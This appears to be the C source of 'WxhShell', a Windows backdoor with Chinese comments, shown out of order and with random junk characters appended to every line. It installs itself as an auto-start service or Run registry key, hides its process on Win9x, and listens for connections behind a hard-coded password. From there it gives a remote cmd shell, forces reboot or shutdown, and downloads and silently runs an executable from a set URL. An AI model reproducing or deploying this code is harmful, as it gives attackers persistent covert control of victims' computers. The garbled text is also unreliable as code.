    if(Boot(SHUTDOWN)) {uVvo=3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 XSEN ]F  
    else { iK&s_}i:  
    closesocket(wsh); 701ei;   
    ExitThread(0); -L=aZPW`M  
    } n1D,0+N=  
    break; a'3|EWS ?  
    } Yn!)('FdT!  
  // 获取shell 53>y<  
  case 's': { w"?H4  
    CmdShell(wsh); PX7@3Y  
    closesocket(wsh); ?4p\ujc  
    ExitThread(0); 1?k{jt~  
    break; NrQGoAOw  
  } c;X8: Z=ja  
  // 退出 [=f(u wY>g  
  case 'x': { !$}:4}56F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xw[KP [(  
    CloseIt(wsh); f,S,35`qa  
    break; /K!&4mK  
    } U7GgGMw  
  // 离开 ep|>z#1  
  case 'q': { LU'<EXUbY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); TV&:`kH  
    closesocket(wsh); -|Z[GN:  
    WSACleanup(); E]T>m!6  
    exit(1); e+`LtEve0  
    break; u`K)dH,  
        } R<* c   
  } g" c|%3  
  }  3W& f^*  
d2cslD d  
  // 提示信息 v@_^h}h/,=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TU-aL  
} uP;qs8  
  } S}mZU!  
1W@ C]n4  
  return; T;?=,'u  
} k&oq6!ix  
abs\Ku9  
// shell模块句柄 | DB7o+4  
int CmdShell(SOCKET sock) no~Yet+<"  
{ }MW7,F  
STARTUPINFO si; {DP%=4  
ZeroMemory(&si,sizeof(si)); |<:Owd=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S5%I+G3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G0e]PMeFl  
PROCESS_INFORMATION ProcessInfo; =I(F(AE  
char cmdline[]="cmd"; 1$+-?:i C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IF>dsAAI<  
  return 0;  /y2)<{{I  
} @ OSSqH  
3izGMH_`  
// 自身启动模式 &>jSuvVT  
int StartFromService(void) u*W6fg/"  
{ pUp&eH  
typedef struct ^0x0 rY  
{ obRYU|T  
  DWORD ExitStatus; `jI$>{oa  
  DWORD PebBaseAddress; s|cL mL[  
  DWORD AffinityMask; VLL CdZ%  
  DWORD BasePriority; w#-J ?/m  
  ULONG UniqueProcessId; ~4T:v _Q7g  
  ULONG InheritedFromUniqueProcessId; d_ [l{  
}   PROCESS_BASIC_INFORMATION; r2h{#2  
c] '-:=  
PROCNTQSIP NtQueryInformationProcess; w$`[C+L  
Oh&k{DWE$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; neLQ>WT L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CO<P$al  
"ZHA.M]`  
  HANDLE             hProcess; "t ^yM`$5[  
  PROCESS_BASIC_INFORMATION pbi; )XFaVkQ}  
s MZ90Q$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ` !um )4  
  if(NULL == hInst ) return 0; _Hp[}sv4)  
g)L?C'BG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y\C_HCU H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4?u<i=i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '0jjoZ:  
 l,lfkm  
  if (!NtQueryInformationProcess) return 0; 4.t72*ML  
CGp7 Tx#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }%}yOLo:  
  if(!hProcess) return 0; mne?r3d  
M hwuh`v%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wG-lR,glb  
qhQeQ  
  CloseHandle(hProcess); lx H3a :gm  
^sP-6 ^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k^i\<@v  
if(hProcess==NULL) return 0; m\DI6O"u'  
-~rZ| W~v  
HMODULE hMod; F, 39'<N[  
char procName[255]; IE0hC\C}  
unsigned long cbNeeded; 4~DW7 (  
)wb&kug -  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G@=H=' :~  
I #bta  
  CloseHandle(hProcess); p_:bt7 B  
T4e-QEH  
if(strstr(procName,"services")) return 1; // 以服务启动 R[bI4|t  
<fm<UO,%  
  return 0; // 注册表启动 ;3P~eeQR  
} Rch?@O#J  
H3Zs m)+:  
// 主模块 $%"?0S  
int StartWxhshell(LPSTR lpCmdLine) d# >iFD+  
{ {+N7o7  
  SOCKET wsl; iAn]hVW  
BOOL val=TRUE; @\}w8  
  int port=0; k@=w? m  
  struct sockaddr_in door; nN*:"F/^  
_!:*&{  
  if(wscfg.ws_autoins) Install(); T@?uA*J  
DRy,n)U&  
port=atoi(lpCmdLine); =P)H3|AdIm  
L^%jR=  
if(port<=0) port=wscfg.ws_port; )oCb9K:km  
^,sKj-  
  WSADATA data; Pgo^$xn'6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;+NU;f/WM  
LR:meCOI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (-bLP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z%9_vpWc  
  door.sin_family = AF_INET; aS)Gj?Odf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h$U(1B  
  door.sin_port = htons(port); !W48sZr1&  
sF!nSr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [7sy}UH  
closesocket(wsl); t{g7 :A  
return 1; 89+Q^79m  
} "qxu9Hg!  
{<#~Ya-  
  if(listen(wsl,2) == INVALID_SOCKET) { N[j*Q 8X_  
closesocket(wsl); WJs2d73Qp  
return 1; 9LK<u$C  
} uh 3yiDj@a  
  Wxhshell(wsl); g|V md  
  WSACleanup(); SXF~>|h5<  
M_Z(+k{Gy  
return 0; @p$$BUb  
/AhN$)(O  
} A.>L>uR  
T/Fj0'  
// 以NT服务方式启动 9%6W_ 0>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0.kQqy~5  
{ rFl6xM;F  
DWORD   status = 0; R0DWjN$j  
  DWORD   specificError = 0xfffffff; #a|.cm>6  
, HHCgN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *fg|HH+i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZgH(,g,TU  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r]lPXj(`  
  serviceStatus.dwWin32ExitCode     = 0; h&O8e;S#  
  serviceStatus.dwServiceSpecificExitCode = 0; ]aqg{XdGt  
  serviceStatus.dwCheckPoint       = 0; OHyBNJ  
  serviceStatus.dwWaitHint       = 0; 3V)NM%Aw  
]O1}q!s   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b@?pofZ`k  
  if (hServiceStatusHandle==0) return; {- Y.C*E  
/\e&nYz  
status = GetLastError(); 6E0{(*  
  if (status!=NO_ERROR) @teNT"  
{ gK+/wTQ%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D5gDVulsh  
    serviceStatus.dwCheckPoint       = 0; iciw 54;4  
    serviceStatus.dwWaitHint       = 0; ae-hQF&  
    serviceStatus.dwWin32ExitCode     = status; 2uy<wJE >  
    serviceStatus.dwServiceSpecificExitCode = specificError; ux=0N]lc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #V#sg}IhM?  
    return; c D0-g=&  
  } u>-pg u  
7f,!xh$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hH])0C  
  serviceStatus.dwCheckPoint       = 0; e3!0<A[X  
  serviceStatus.dwWaitHint       = 0; Z @d(0 z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6-!U\R2Z>  
} u/S{^2`b  
.]D7Il  
// 处理NT服务事件,比如:启动、停止 (//f"c]/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |z%:{  
{ 0oiz V;B5%  
switch(fdwControl) ?X5Y8n]y\h  
{ =>en<#[\:  
case SERVICE_CONTROL_STOP: v[J"/:]  
  serviceStatus.dwWin32ExitCode = 0; ~;uc@GGo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; I?Fv!5p  
  serviceStatus.dwCheckPoint   = 0; RwyRPc _  
  serviceStatus.dwWaitHint     = 0; K|^'`FpPO  
  { ~&\}qz3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W< sa6,$  
  } m.EIMuj  
  return; k/]4L!/ T  
case SERVICE_CONTROL_PAUSE:  66 @#V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; l Taw6;  
  break; mNDz|Ln  
case SERVICE_CONTROL_CONTINUE: kD.KZV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fh0cOp(  
  break; Oiz@tEp=_  
case SERVICE_CONTROL_INTERROGATE: k?7V#QW(  
  break; >.4mAO  
}; #ssSs]zl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?vn9HhTD  
} (]gd$BgD  
TP R$oO2  
// 标准应用程序主函数 3I):W9$Qp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?CU6RC n  
{ 9hn+eU  
r)xkpa5  
// 获取操作系统版本 5%)<e-  
OsIsNt=GetOsVer(); SSo7 U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +p"}F PIK  
ckhU@C|=*  
  // 从命令行安装 g*]/HS>e<G  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8urX]#  
|fIIfYE  
  // 下载执行文件 \{u 9Kc  
if(wscfg.ws_downexe) { ZlG|U]mM5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R&MdwTa  
  WinExec(wscfg.ws_filenam,SW_HIDE); fWk,k*Z 9  
} |x#w8=VP-  
u(W+hdTap=  
if(!OsIsNt) { c+A$ [  
// 如果时win9x,隐藏进程并且设置为注册表启动 `G0GWh)`x  
HideProc(); ]:_s7v  
StartWxhshell(lpCmdLine); 'L$}!H1y  
} $s.:H4:I  
else "\`>Ll  
  if(StartFromService()) tPqWe2  
  // 以服务方式启动 w _ONy9  
  StartServiceCtrlDispatcher(DispatchTable); 0Fc^c[  
else 1Xn:B_pP  
  // 普通方式启动 =IH~:D\&  
  StartWxhshell(lpCmdLine); scQnL'\  
c$P68$FB  
return 0; +{h.nqdAE  
} YM r2|VEU[  
@ Cd#\D|  
bGtS! 'I  
!*G%vOa  
=========================================== DmtCEKa  
slTE.  
Mj<T+Ohz  
/nWBol,  
Ek6z[G` O  
f"RS,]  
" E^4}l2m_  
!*e1F9k  
#include <stdio.h> [jEZ5]%  
#include <string.h> cXod43  
#include <windows.h> 9T#${NK  
#include <winsock2.h> U[EZ, 7n8  
#include <winsvc.h> z3Zo64V~7  
#include <urlmon.h> zI,z<-  
wQ9?Z.-$  
#pragma comment (lib, "Ws2_32.lib") m gE r+  
#pragma comment (lib, "urlmon.lib") ]_(J8v  
e);`hNLih  
#define MAX_USER   100 // 最大客户端连接数 ^).  
#define BUF_SOCK   200 // sock buffer \2))c@@%  
#define KEY_BUFF   255 // 输入 buffer ]{| wU.  
4$+1&+@ ]  
#define REBOOT     0   // 重启 \IaUsx"#o{  
#define SHUTDOWN   1   // 关机 = glF6a  
mg]t)+PQ  
#define DEF_PORT   5000 // 监听端口 H~ E<ek'~  
V+5av Z}  
#define REG_LEN     16   // 注册表键长度 +"1fr  
#define SVC_LEN     80   // NT服务名长度 fE"-W{M  
Y'<wE2ZL)  
// 从dll定义API =m;,?("7t3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MY}/h@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;,/4Ry22j-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z4oD6k5oc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ua E,F^p  
K7X*N  
// wxhshell配置信息 `ZU]eAV  
struct WSCFG { #/> a`Ur_  
  int ws_port;         // 监听端口 GkpYf~\Q  
  char ws_passstr[REG_LEN]; // 口令 IIN,Da;hD  
  int ws_autoins;       // 安装标记, 1=yes 0=no jO-T1P']Y  
  char ws_regname[REG_LEN]; // 注册表键名 C8W_f( i~  
  char ws_svcname[REG_LEN]; // 服务名 iG#9 2e4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sJ{r+wY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EU7nS3K)O~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _(-i46x}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @/,0()*dL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" + }$(j#h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OLo?=1&;;  
MOPHu O{^  
}; fr'DV/T  
fZoQQ[s  
// default Wxhshell configuration 8DX5bB  
struct WSCFG wscfg={DEF_PORT, *eGG6$I  
    "xuhuanlingzhe", k[)/,1  
    1, 8"TlWHF`  
    "Wxhshell", &@FufpPw/  
    "Wxhshell", 4 |bu= T  
            "WxhShell Service", yuC|_nL  
    "Wrsky Windows CmdShell Service", Ii# +JY0k  
    "Please Input Your Password: ", -/ G#ls|?  
  1, #0?3RP  
  "http://www.wrsky.com/wxhshell.exe", ;66{S'*[  
  "Wxhshell.exe" Xvk+1:D  
    }; V>`9ey!U  
U o aWI2  
// 消息定义模块 n a*Z0y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &*bpEdkZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; EEMRy  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; );h  
char *msg_ws_ext="\n\rExit."; =J"c'Z>.  
char *msg_ws_end="\n\rQuit."; T9'HQu  
char *msg_ws_boot="\n\rReboot..."; _Fn`G .r<  
char *msg_ws_poff="\n\rShutdown..."; ~T/tk?:8Vi  
char *msg_ws_down="\n\rSave to "; YI;MS:Qj  
nN^lY=3  
char *msg_ws_err="\n\rErr!"; 7{l~\] 6d  
char *msg_ws_ok="\n\rOK!"; R T~oJ~t;  
Ms5R7<O.7  
char ExeFile[MAX_PATH]; 2R ^6L@fw  
int nUser = 0; OI8}v  
HANDLE handles[MAX_USER]; R<vbhB/lU  
int OsIsNt; dWu;F^  
B~M6l7^?  
SERVICE_STATUS       serviceStatus; of GoaH*h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M`8c|*G   
oad /xbp@/  
// 函数声明 yu@Pd3  
int Install(void); pe>?m^gz[  
int Uninstall(void); }: u-l3e  
int DownloadFile(char *sURL, SOCKET wsh); +md"X@k5*  
int Boot(int flag); o\PHs4Ws'7  
void HideProc(void); 7z&$\qu2  
int GetOsVer(void); KV-h~C  
int Wxhshell(SOCKET wsl); 4#.Q|vyl]"  
void TalkWithClient(void *cs); qq_ZkU@xg  
int CmdShell(SOCKET sock); 2aX{r/Lc  
int StartFromService(void); /{P-WRz>  
int StartWxhshell(LPSTR lpCmdLine); 4@Z!?QzW  
-1~o~yGE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); KfPgj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i)Q d>(v  
rQ6>*0xL_  
// 数据结构和表定义 "!fwIEG  
SERVICE_TABLE_ENTRY DispatchTable[] = rZ)7(0BBs  
{ aT+w6{%Z  
{wscfg.ws_svcname, NTServiceMain}, P2 qC[1hYH  
{NULL, NULL} 86!$<!I  
}; 'cAS>s"$}V  
'H4?V  
// 自我安装 +EqL|  
int Install(void) J\p-5[E  
{ lDF7~N9J_  
  char svExeFile[MAX_PATH]; e 'F:LMX  
  HKEY key; &Vu-*?  
  strcpy(svExeFile,ExeFile); !, rF(pz  
om=kA"&&Q  
// 如果是win9x系统,修改注册表设为自启动 Y7 K2@257  
if(!OsIsNt) { (ip3{d{CT]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "DH>4Q] d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t<$J 3h/"  
  RegCloseKey(key); }R YPr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J83C]2~7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^#K^WV  
  RegCloseKey(key); .7:ecFKk  
  return 0; oIMS >&  
    } 84i0h$ZZo  
  } -^;,m=4{3  
} T &bB8tQk  
else { B[ D s?:  
2R^Eea  
// 如果是NT以上系统,安装为系统服务 +"JWsD(C(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~r'ApeI9  
if (schSCManager!=0) eb6y-TwY  
{ IG2z3(j  
  SC_HANDLE schService = CreateService "(kiMo g-  
  ( $2blF)uYE  
  schSCManager, l8_RA  
  wscfg.ws_svcname, ae2SU4Jx  
  wscfg.ws_svcdisp, Ir*{IVvej  
  SERVICE_ALL_ACCESS, 'WBhW5@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hst Ge>f[6  
  SERVICE_AUTO_START, Tu,nX'q]m  
  SERVICE_ERROR_NORMAL, l|vT[X/g  
  svExeFile, N=~DSsw  
  NULL, )nK+`{;@!  
  NULL, 7 s2*VKr  
  NULL, * kUb[  
  NULL, =}u?1~V  
  NULL TIaiJvo  
  ); S&k/Pc  
  if (schService!=0) "T<7j.P?  
  { kE!ky\E  
  CloseServiceHandle(schService); k)y<iHR_o  
  CloseServiceHandle(schSCManager); |?MD>Pez  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hewc5vrL  
  strcat(svExeFile,wscfg.ws_svcname); ]=/?Ooh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { knb0_nA  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0 N0< 4b  
  RegCloseKey(key); f 9IqcCSW  
  return 0; 1]A\@(  
    } qF`]}7"^  
  } [(.lfa P  
  CloseServiceHandle(schSCManager); +Mn(s36f2  
} 02(Ob  
} $"}*#<Z  
wsc=6/#u  
return 1; Ys?0hd<cn  
} +>c%I&h}`  
RQ#9[6w!v  
// 自我卸载 3hzz*9/n  
int Uninstall(void) W3^^aD-  
{ hQNUA|Q=%  
  HKEY key; uaCI2I  
TQ[J,  
if(!OsIsNt) { f3h]t0M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RmO kb~  
  RegDeleteValue(key,wscfg.ws_regname); X76rme  
  RegCloseKey(key); {?A/1q4rr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,zJ:a>v  
  RegDeleteValue(key,wscfg.ws_regname); ') 2LP;(  
  RegCloseKey(key); 0 U#m7j  
  return 0; =vDDfPR  
  } qS ggZ0*  
} ofgNL .u  
} hVJ}EF 0  
else { B&EUvY '  
UjyrmQf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3J3wKw!`  
if (schSCManager!=0) 5*Dh#FRp  
{ 8hSw4S "$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !QME!c>*$  
  if (schService!=0) z$(`{ o%a  
  { 6J cXhlB`  
  if(DeleteService(schService)!=0) { 5F]2.<i  
  CloseServiceHandle(schService); \vpX6!T  
  CloseServiceHandle(schSCManager); Vp1Nk#H  
  return 0; -f?,%6(1  
  } [EQTrr( D  
  CloseServiceHandle(schService); TpHzf3.I  
  } ?-<>he  
  CloseServiceHandle(schSCManager); [3x*47o"z  
} 5E}]U,$  
} P#rS.CIh  
I-Am9\   
return 1; _!?a9  
} `84,R!  
1DH P5q  
// 从指定url下载文件 Odw9]`,T  
int DownloadFile(char *sURL, SOCKET wsh) 3aJYl3:0B  
{ /7ykmW  
  HRESULT hr; Dh<}j3]  
char seps[]= "/"; C[><m2T  
char *token; yEkwdx5!(  
char *file; e=_Ng j)  
char myURL[MAX_PATH]; _Y)Wi[  
char myFILE[MAX_PATH]; {.Brh"yC  
KvO5-g  
strcpy(myURL,sURL); L3s"L.G  
  token=strtok(myURL,seps); I`x[1%y2 F  
  while(token!=NULL) D&DbxTi  
  { g]d0B!Ar~  
    file=token; Ve xxdg  
  token=strtok(NULL,seps); m<J:6^H@  
  } |:L}/onK  
N7^sn!JB  
GetCurrentDirectory(MAX_PATH,myFILE); u $D%Iz  
strcat(myFILE, "\\"); cXb&Rm' L  
strcat(myFILE, file); N).'>  
  send(wsh,myFILE,strlen(myFILE),0); %Vk77(  
send(wsh,"...",3,0); N_l_^yD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NC sem  
  if(hr==S_OK) $KS!vS7  
return 0; z00,Vr^m  
else ~9@83Cs2  
return 1; s|k&@jH)  
:4r*Jju<V  
} x }]"jj2x  
F'T.-lEO_d  
// 系统电源模块 vdot .  
int Boot(int flag) ryb81.|  
{ K{ntl-D&y  
  HANDLE hToken; 2AEVBkF;M  
  TOKEN_PRIVILEGES tkp; K87yQOjPv  
-wh  
  if(OsIsNt) { Q(x/&]7=V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 'LR|DS[Ne  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7;pQ'FmZJ  
    tkp.PrivilegeCount = 1; _ER. AKY  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /<Z3x _c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o/& IT(v  
if(flag==REBOOT) { ` }B,w-,io  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) NPDMv |4  
  return 0; ,wngS=  
} (O& HCT|  
else { P(a}OlG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5qFHy[I A  
  return 0; -lR7 @S  
} )"7z'ar  
  } Eqh*"hE7  
  else { +,j6dYub  
if(flag==REBOOT) { 3$.#\*s_4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YPA$38  
  return 0; }'K-1:  
} R`B} T<*  
else { '%YE#1*gH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wJ"]H!r0  
  return 0;  ;v/un  
} eHR]qy 0_X  
} }daU/  
n~0MhE0H  
return 1; /!qP=ngw9  
} /Z[HU{4  
fK2r6D9  
// win9x进程隐藏模块 |kTq &^$  
void HideProc(void) 2\;/mQI2A  
{ lS#^v#uS  
i1'G_bo4F7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J~50#vHY  
  if ( hKernel != NULL ) 12;YxW>[  
  { ~Yc!~Rz  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); O%haaL\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  +cKOIMu9  
    FreeLibrary(hKernel); >(.Y%$9"E  
  } ap2g^lQXq  
>0uj\5h)I]  
return; 96P&+  
} @;N(3| n7  
n{&;@mgI  
// 获取操作系统版本 ) .KMZ]  
int GetOsVer(void) B2|0.G|[j  
{ tGzp= PyA  
  OSVERSIONINFO winfo; WW2hwB (  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eTay/i<-  
  GetVersionEx(&winfo); _pDfPLlY&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j; R20xf0  
  return 1; gXM+N(M-  
  else OiS\tK?|GV  
  return 0; B*w]yL(  
} UEhFId  
)[|_q,  
// 客户端句柄模块 YD0hDp  
int Wxhshell(SOCKET wsl) 3:xKq4?  
{ |I29m`  
  SOCKET wsh; nh"dPE7^  
  struct sockaddr_in client; f=u +G  
  DWORD myID; ~*9Ue@  
1[$zdv{A  
  while(nUser<MAX_USER) EU04U  
{ E|+<m!  
  int nSize=sizeof(client); cc:$$_'L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 08D:2 z1z  
  if(wsh==INVALID_SOCKET) return 1; ]!~?j3-k Q  
Wq"-T.i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p>#q* eU5  
if(handles[nUser]==0) IV1Y+Z )  
  closesocket(wsh); m7C!}l]9  
else &I(\:|`o  
  nUser++; 3D1y^I  
  } 'W>y v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C&R U  
^FkB/j  
  return 0; 6EO@ Xf7,  
} xI~A Z:m  
 S~E@A.7  
// 关闭 socket G_ ,9h!e  
void CloseIt(SOCKET wsh) c))?9H ,e)  
{ T93st<F=R  
closesocket(wsh); E_DQ.!U!o  
nUser--; /f Q}Ls\  
ExitThread(0); `wQs$!a  
} ?6hd(^  
Zq<j}vVJ  
// 客户端请求句柄 *Uj;a.  
void TalkWithClient(void *cs) Uzc p  
{ 'GX x|.  
w6)Q5H53)  
  SOCKET wsh=(SOCKET)cs; sQ,xTWdj  
  char pwd[SVC_LEN]; @"1Z;.S8V  
  char cmd[KEY_BUFF]; '`. -75T  
char chr[1]; s2wDJ|  
int i,j; CCol>:8{P  
H{,1-&>|  
  while (nUser < MAX_USER) { bgKC^Q/F  
K/ &`  
if(wscfg.ws_passstr) { UcOP 0_/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .`5|NUhN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J:gC1g^  
  //ZeroMemory(pwd,KEY_BUFF); Ry"4v_e9  
      i=0; 5pe)CjE:  
  while(i<SVC_LEN) { a0gg<Ml  
0B!(i.w  
  // 设置超时 _$5DK%M}  
  fd_set FdRead; cz /cY:o)  
  struct timeval TimeOut; C;K+ITlJ  
  FD_ZERO(&FdRead); _*%K!%}l=  
  FD_SET(wsh,&FdRead); !4=_l6kg~+  
  TimeOut.tv_sec=8; g?Nk-cg  
  TimeOut.tv_usec=0; B["+7\c<~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w0oTV;yh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X&LJ"ahK  
EPH" 5$8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K: $mEB[c<  
  pwd=chr[0]; 4g8o~JI:v  
  if(chr[0]==0xd || chr[0]==0xa) { u_ l?d  
  pwd=0; fpf,gb8[$n  
  break; L6Brs"9B  
  } -6s:D/t1'  
  i++; :i& 9}\|,  
    } CJ%'VijhD  
f^lcw  
  // 如果是非法用户,关闭 socket 5[jS(1a`c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZvT,HJ0?  
} SO(BkxV@  
F0z7".)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~mXzQ be p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ao}<a1f  
?HZ^V  
while(1) { `'<$N<!  
.Y]0gi8z  
  ZeroMemory(cmd,KEY_BUFF); #&?ER]|3  
BO7HJF)a  
      // 自动支持客户端 telnet标准   Xm>zT'B_tJ  
  j=0; FGHCHSqLq  
  while(j<KEY_BUFF) { J8r8#Zz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O!f37n-TB  
  cmd[j]=chr[0]; 9t)Hi qj  
  if(chr[0]==0xa || chr[0]==0xd) { ,3T"fT-(  
  cmd[j]=0; QY&c=bWAX"  
  break; ?{aJ#w   
  } i]? Eq?k  
  j++; yTg|L9  
    } z{\tn.67  
0>td[f  
  // 下载文件 {TpbUj0  
  if(strstr(cmd,"http://")) { y-nv#Ejr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;#9?3O s  
  if(DownloadFile(cmd,wsh)) MJ?t{=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Vnb+o  
  else G>0d^bx;E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >zX^*T#  
  } ~^a>C  
  else { W@r<4?Oat  
&(Fm@ksh\  
